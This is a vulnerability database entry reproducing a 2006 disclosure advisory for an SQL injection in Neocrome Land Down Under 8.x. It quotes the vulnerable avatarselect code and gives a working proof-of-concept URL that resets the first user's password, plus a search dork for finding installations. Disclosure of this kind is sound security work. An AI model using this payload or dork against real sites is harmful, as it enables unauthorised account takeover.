Neocrome Land Down Under 'Profile.Inc.PHP' SQL注入漏洞

https://www.securityfocus.com/bid/82210
https://cxsecurity.com/issue/WLB-2006120026
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-031

NeocromeLandDownUnder(LDU)中的system/core/profile/profile.inc.php存在SQL注入漏洞，远程认证用户可以通过一个传给users.php的以有效文件名开始的url编码id参数来执行任意SQL命令，如通过在"default.gif"之后跟随一个双编码NULL和'(单引号)(%2500%2527)。

--Security Report--
Advisory: LDU <= 8.x Remote SQL Injection Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/10/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: Neocrome (http://www.neocrome.net)
Version: 8.x also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and  
change everything in LDU's user database.Vulnerable code can be found  
in profile.inc.php at lines 142-150

-Source in system/core/profile/profile.inc.php-
142: case 'avatarselect':
143: /* ============= */
144:
145: ldu_check_xg();
146: $avatar = $cfg['av_dir'].urldecode($id);
147: if (file_exists($avatar))
148: { $sql = ldu_query("UPDATE $db_users SET user_avatar='$avatar'  
WHERE user_id='".$usr['id']."'"); }
149:
150: break;
-End of source-

As you can see "id" parameter did not sanitized properly and used with  
urldecode() function which decodes id's value so remote attacker can  
bypass magic_quotes_gpc and other functions which escapes ' strings.In  
avatarselect LDU checks files available with file_exists function and  
urldecode help us by using null byte.
A demostration exploitation will be given in How&Example part.
Level: Highly Critical
---
How&Example:
GET ->  
http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=def
ault.gif[SQL  
Inject]
GET ->  
http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=def
ault.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2
527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of LDU to  
123456
The XVALUE comes with your avatarselect link it's special to everyuser in LDU.
For using this vulnerability you must be logged in to LDU...
Timeline:
* 21/10/2006: Vulnerability found.
* 21/10/2006: Contacted with vendor and waiting reply.
---
Original advisory: http://www.nukedx.com/?viewdoc=51
---
Exploit:
http://www.nukedx.com/?getxpl=51
---
Dorks: "Powered by LDU"

Neocrome Land Down Under 8.0

来源:BID
名称:21227
链接:http://www.securityfocus.com/bid/21227
来源:BUGTRAQ
名称:20061122Advisory:LDU<=8.xRemoteSQLInjectionVulnerability.
链接:http://www.securityfocus.com/archive/1/archive/1/452259/100/100/threaded
来源:MISC
链接:http://www.nukedx.com/?viewdoc=51
来源:SREASON
名称:1954
链接:http://securityreason.com/securityalert/1954